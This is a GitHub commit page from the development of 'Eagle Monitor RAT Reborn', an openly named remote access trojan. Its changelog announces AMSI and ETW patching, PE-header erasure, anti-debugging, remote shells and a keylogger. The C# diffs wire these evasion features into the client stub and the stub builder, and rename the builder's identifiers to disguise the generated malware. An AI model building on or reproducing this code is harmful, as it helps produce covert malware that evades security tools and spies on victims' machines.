Skip to content

Commit bdf39fa

Browse files
committed
3.2.3.0
* [New][Client] Patch AMSI * [New][Client] Patch ETW * [New][Client] Erase PE from PEB * [New][Client] Anti-Debug * [Tweaks] Added 'Optimize' attribute for csc compiler * [New] Added Remote CMD * [New] Added Remote Powershell * [Fix] BSOD was not working (wrong status code) * [Fix] Null reference with keylogger socket
1 parent 4f1a6cf commit bdf39fa

File tree

232 files changed

+3157
-454
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

232 files changed

+3157
-454
lines changed

Remote Access Tool/C2/C2.csproj

+1
Original file line numberDiff line numberDiff line change
@@ -30,6 +30,7 @@
3030
<DefineConstants>TRACE</DefineConstants>
3131
<ErrorReport>prompt</ErrorReport>
3232
<WarningLevel>4</WarningLevel>
33+
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
3334
</PropertyGroup>
3435
<ItemGroup>
3536
<None Include="App.config" />

Remote Access Tool/C2/client.cs

+5
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,10 @@ public static class Config
2929
public static string mutex = "%MUTEX%";
3030
public static Offline.Persistence.Method installationMethod = Offline.Persistence.Method.NONE;
3131
public static string[] installationParam = new string[] { AppDomain.CurrentDomain.FriendlyName };
32+
public static bool blockETW = false;
33+
public static bool blockAMSI = false;
34+
public static bool erasePEFromPEB = false;
35+
public static bool antiDBG = false;
3236
}
3337
public class StarterClass
3438
{
@@ -111,6 +115,7 @@ internal static void StartOfflineKeylogger()
111115
[MTAThread]
112116
public static void Main()
113117
{
118+
Offline.Special.Parser.Parse(Config.blockAMSI, Config.blockETW, Config.erasePEFromPEB, Config.antiDBG);
114119
MakeInstall();
115120
OneInstance();
116121

Binary file not shown.
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
cda5eb7bc6e232f33e621e1a1a38483d03ae39f6
1+
105dcd742de8ee0e0a6fddc63b452b7228bc3b02
512 Bytes
Binary file not shown.
0 Bytes
Binary file not shown.
Binary file not shown.

Remote Access Tool/Eagle Monitor RAT Reborn/Builder/StubBuilder.cs

+45-5
Original file line numberDiff line numberDiff line change
@@ -5,8 +5,6 @@
55
using System.Text;
66
using System.Windows.Forms;
77
using dnlib.DotNet;
8-
using Eagle_Monitor_RAT_Reborn.Controls;
9-
using static Eagle_Monitor_RAT_Reborn.Network.ClientHandler;
108

119
/*
1210
|| AUTHOR Arsium ||
@@ -56,18 +54,54 @@ internal static bool BuildClient()
5654
if (Program.mainForm.offKeyloguna2CheckBox.Checked)
5755
{
5856
LogStep("Setting offline keylogger..." + Environment.NewLine);
59-
stub = stub.Replace("static bool offKeylog = false;", "static bool offKeylog = true;");
57+
stub = stub.Replace("bool offKeylog = false;", "bool offKeylog = true;");
6058
}
6159
else
6260
LogStep("Skipping offline keylogger..." + Environment.NewLine);
6361

62+
63+
if (Program.mainForm.patchETWGuna2CheckBox.Checked)
64+
{
65+
LogStep("Setting etw patch..." + Environment.NewLine);
66+
stub = stub.Replace("bool blockETW = false;", "bool blockETW = true;");
67+
}
68+
else
69+
LogStep("Skipping etw patch..." + Environment.NewLine);
70+
71+
72+
if (Program.mainForm.patchAMSIGuna2CheckBox.Checked)
73+
{
74+
LogStep("Setting amsi patch..." + Environment.NewLine);
75+
stub = stub.Replace("bool blockAMSI = false;", "bool blockAMSI = true;");
76+
}
77+
else
78+
LogStep("Skipping amsi patch..." + Environment.NewLine);
79+
80+
81+
if (Program.mainForm.erasePEHeadersGuna2CheckBox.Checked)
82+
{
83+
LogStep("Setting PE headers eraser..." + Environment.NewLine);
84+
stub = stub.Replace("bool erasePEFromPEB = false;", "bool erasePEFromPEB = true;");
85+
}
86+
else
87+
LogStep("Skipping PE headers eraser..." + Environment.NewLine);
88+
89+
90+
if (Program.mainForm.antiDebugGuna2CheckBox.Checked)
91+
{
92+
LogStep("Setting anti-debug..." + Environment.NewLine);
93+
stub = stub.Replace("bool antiDBG = false;", "bool antiDBG = true;");
94+
}
95+
else
96+
LogStep("Skipping anti-debug..." + Environment.NewLine);
97+
98+
6499
LogStep("Renaming code..." + Environment.NewLine);
65100

66101
stub = Rename(stub, "hosts");
67102
stub = Rename(stub, "hostLists");
68103
stub = Rename(stub, "generalKey");
69104
stub = Rename(stub, "Config");
70-
stub = Rename(stub, "offKeylog");
71105
stub = Rename(stub, "installationParam");
72106
stub = Rename(stub, "installationMethod");
73107
stub = Rename(stub, "StarterClass");
@@ -88,7 +122,7 @@ internal static bool BuildClient()
88122
stub = Rename(stub, "EndPacketRead");
89123
stub = Rename(stub, "SendDataCompleted");
90124
stub = Rename(stub, "EndConnect");
91-
125+
//
92126
stub = Rename(stub, "ReadDataAsync");
93127
stub = Rename(stub, "readDataAsync");
94128

@@ -101,6 +135,12 @@ internal static bool BuildClient()
101135
stub = Rename(stub, "SendDataAsync");
102136
stub = Rename(stub, "sendDataAsync");
103137
stub = Rename(stub, "SendData");
138+
//
139+
stub = Rename(stub, "offKeylog");
140+
stub = Rename(stub, "antiDBG");
141+
stub = Rename(stub, "erasePEFromPEB");
142+
stub = Rename(stub, "blockAMSI");
143+
stub = Rename(stub, "blockETW");
104144

105145
File.WriteAllText(Application.StartupPath + "\\Stubs\\clienttmp.cs", stub);
106146

Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.Designer.cs

+136
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

0 commit comments

Comments
 (0)